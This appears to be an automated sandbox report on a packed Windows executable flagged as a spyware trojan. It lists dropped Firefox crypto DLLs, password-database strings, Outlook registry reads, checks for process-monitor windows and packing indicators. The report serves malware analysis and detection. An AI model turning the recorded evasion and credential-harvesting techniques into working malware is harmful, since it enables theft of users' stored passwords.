Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043B1D0	0_2_0043B1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A1EC	0_2_0041A1EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00443AE7	0_2_00443AE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00437AE9	0_2_00437AE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00440353	0_2_00440353
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043D418	0_2_0043D418
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004344AD	0_2_004344AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040453E	0_2_0040453E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A0673	0_2_004A0673
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F8651	0_2_002F8651
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B16F9	0_2_003B16F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00430F60	0_2_00430F60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002FAF53	0_2_002FAF53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042BFC1	0_2_0042BFC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00435F87	0_2_00435F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 000645C0 appears 316 times

Source: file.exe, 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2281752595.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: wsbvvvtf ZLIB complexity 0.9947684778135288

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00079600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00079600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00073720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00073720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\81ZAREX1.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2076687080.000000001D094000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2096647410.000000001D0B0000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDGCGDAKFIDGIDB.0.dr, BKKJKFBKKECFHJKEBKEH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2280887840.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1866752 > 1048576

Source: file.exe

Static PE information: Raw size of wsbvvvtf is bigger than: 0x100000 < 0x1a1a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2281623580.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wsbvvvtf:EW;xydwmbmy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wsbvvvtf:EW;xydwmbmy:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00079860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00079860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cb749 should be: 0x1cf273

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wsbvvvtf
Source: file.exe	Static PE information: section name: xydwmbmy
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042186D push 3C44E283h; mov dword ptr [esp], ecx	0_2_004218F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042186D push edx; mov dword ptr [esp], edi	0_2_00421919
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0042186D push 0B2BD20Bh; mov dword ptr [esp], ecx	0_2_004219B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0007B035 push ecx; ret	0_2_0007B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00517065 push edx; mov dword ptr [esp], ecx	0_2_00517079
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00517065 push 28D35334h; mov dword ptr [esp], ebp	0_2_00517081
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E1805 push 14ACCA12h; mov dword ptr [esp], edx	0_2_004E1821
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C4019 push edx; mov dword ptr [esp], ebx	0_2_004C4079
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C4019 push 0050CC92h; mov dword ptr [esp], esp	0_2_004C40A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EC0E0 push ebp; mov dword ptr [esp], ebx	0_2_004EC0FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EC0E0 push ebp; mov dword ptr [esp], edx	0_2_004EC1AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003228E7 push 6364EAC2h; mov dword ptr [esp], ebp	0_2_003228FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003228E7 push ecx; mov dword ptr [esp], eax	0_2_00322961
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003228E7 push 18534137h; mov dword ptr [esp], ecx	0_2_00322A34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003228E7 push 087889EAh; mov dword ptr [esp], eax	0_2_00322A74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F00DA push 2FBC51D7h; mov dword ptr [esp], eax	0_2_003F0110
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F00DA push ebx; mov dword ptr [esp], esi	0_2_003F018D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F00DA push 5BD91FA8h; mov dword ptr [esp], ebp	0_2_003F01A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F00DA push ecx; mov dword ptr [esp], 7DED9AA4h	0_2_003F01A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E18A5 push edx; mov dword ptr [esp], esi	0_2_004E18DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E18A5 push 3559E622h; mov dword ptr [esp], ebx	0_2_004E18F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E18A5 push ebp; mov dword ptr [esp], 32EE8A64h	0_2_004E1916
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E18A5 push eax; mov dword ptr [esp], esi	0_2_004E19AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AF15A push 5EA1FF62h; mov dword ptr [esp], edx	0_2_004AF1B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BB97E push esi; mov dword ptr [esp], 4A736852h	0_2_004BBAA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BB97E push 52E5AEBDh; mov dword ptr [esp], ebx	0_2_004BBABB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BB97E push ecx; mov dword ptr [esp], 7201E485h	0_2_004BBB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BB97E push 42091BF4h; mov dword ptr [esp], edi	0_2_004BBB74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BB97E push ebx; mov dword ptr [esp], 7DFDA000h	0_2_004BBB78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BB97E push ebx; mov dword ptr [esp], ecx	0_2_004BBC70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004CF102 push edi; mov dword ptr [esp], ecx	0_2_004CF15D

Source: file.exe

Static PE information: section name: wsbvvvtf entropy: 7.953542217583365

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00079860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

